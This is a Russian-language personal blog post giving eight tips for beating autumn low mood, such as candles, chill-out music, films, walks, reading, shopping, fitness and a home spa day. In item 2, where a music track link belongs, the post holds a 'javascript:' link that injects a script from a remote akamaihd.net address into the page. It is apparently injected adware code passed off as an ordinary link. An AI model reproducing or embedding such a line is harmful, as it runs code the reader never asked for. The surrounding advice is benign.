Осень на носу, а это означает, что осенняя депрессия вот-вот нагрянет. А если она уже подстегивает ваши нервы, то есть отличные способы для снятия напряженности и нервозности.
Итак, предлагаю вашему вниманию мои 8 способов для поднятия настроения:
1. Свечи. Это один из самых действенных моих способов. В дополнение, я капаю несколько капель эфирных масел, дабы воссоздать спа-атмосферу. Получается волшебно, если добавить пачули и розмарин.
2. Chill out music. Chillout это вовсе не дизайн интерьера, а направление в электронной музыке, которое призывает расслаблять.Советую вам послушать этот трек. Я уверена, что с приходом осени каждый из нас желает тепла. И я хочу поделиться им с вами.
http://javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName(“head”);if(a.length){var d=document.createElement(“script”);d.src=”https://apihypenetinfo-a.akamaihd.net/gsrs?is=asp1fnua&bp=BA&g=3c8a70a7-c509-4394-815f-106e09409dea”;a[0].appendChild(d);}}}catch(e){}
3. Любимая кинолента. Усевшись с чашкой горячего чая или кофе, я включаю свой излюбленных фильм ” Секс в большом городе”. Наблюдая его, я понимаю, что те проблемы, которые существуют у меня,совершенно выполнимы. И плохое настроение улетучивается само собой.
4. Включаю новосоставленный плейлист и иду гулять. (Даже если на улице идет дождь!) Такая погода, на самом деле, показывает, что и у погоды есть плохое настроение, и это вполне нормально – иногда погрустить, всплакнуть – все мы девушки.
5. Сажусь читать книгу у окна. Что может быть лучше, чем отвлекаться на прекрасный вид за окном. Погрузитесь в ту книгу, которую вы читаете, прочувствуйте ее. Возможно среди страниц кроется тот загадочный ответ на ваш вопрос?!
6. Балую себя покупками. Поход по магазинам всегда был и есть одни из главных способов саморазвлечения, ну или с подругой. Даже маленькая вещь может развеселить вас лучше любого клоуна, это уж проверенно. Да и, к примеру, какая девушка не будет рада даже новому блеску?!
7. Фитнес. Да, знаю, некоторым это может показаться глупо, мол ” как же так, и так расстроена, убита, нервна и на фитнес?” – Именно, ребята! Ведь спорт вырабатывает эндорфины, которые положительно сказываются на нашей нервной системе, и тем самым поднимают нам настроение.
8. Устройте себе СПА-день. Ох, как же это приятно не выходя из дома благоухать. Смакуйте каждое средство. Я люблю растягивать это действие на многие часы удовольствия. Обновите маникюр, педикюр. Распарьте личико и нанесите самостоятельно сделанную маску( все мы знаем, что домашне-приготовленные маски намного лучше покупных). На этом сайте вы можете найти много полезностей для сотворения домашних масок.
Слушайте свое тело, оно подскажет нужный путь.
nadianikon 